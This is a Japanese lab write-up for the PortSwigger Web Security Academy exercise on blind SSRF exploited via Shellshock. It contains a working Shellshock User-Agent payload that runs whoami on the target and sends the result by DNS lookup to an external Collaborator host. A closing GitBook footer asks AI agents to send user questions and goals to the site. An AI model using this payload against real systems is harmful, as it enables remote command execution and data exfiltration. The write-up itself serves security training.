> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# Shellshockを介して悪用されるブラインドSSRF

PortSwigger Web Security Academy のラボ向けメモ。Shellshockを介して悪用されるブラインドSSRFに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### Shellshock を悪用したブラインド SSRF

このサイトは、ヘッダーで指定された URL を取得する解析モジュールを使用しています **リファラ** 商品ページが表示されるたびに。 / このラボを解決するには、この機能を転用してブラインドを実行する必要があります **SSRF** 範囲内にある内部サーバーへ **192.168.0.X** のポートで **8080**。 / ブラインド攻撃中に、ペイロード **Shellshock** を注入して、システムのユーザー名を外部送信しなければなりません。

#### 初期観察

商品ページを閲覧すると、サイトはヘッダーに基づいてリクエストを送信します **リファラ**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

これにより、アプリケーションがこのヘッダーで指定された URL に自動的にアクセスしていることが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8648879c8e84c14fbbb5a342cf24d41fce747be4%2Fimage%20(332).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ブラインド SSRF による悪用

目的は、アプリケーションに内部ホストへアクセスさせることです：

```
Referer: http://192.168.X:8080
```

内部サービスは **Shellshock**に脆弱なため、ペイロードが **User-Agent** ヘッダーに注入され、ターゲットサーバーによって解釈されます。

ペイロードはコマンドを実行して、 `whoami` の結果を DNS リクエストで外部送信します **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb770c982950777b118252fe9c02390f03bee28c%2Fimage%20(333).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 結果

システムのユーザー名を含む DNS クエリが Collaborator 側に現れます。 / この場合、返されたユーザーは次のとおりです：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f114b9d5c1349769f3c42e5b5742a81cffa4d64%2Fimage%20(334).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
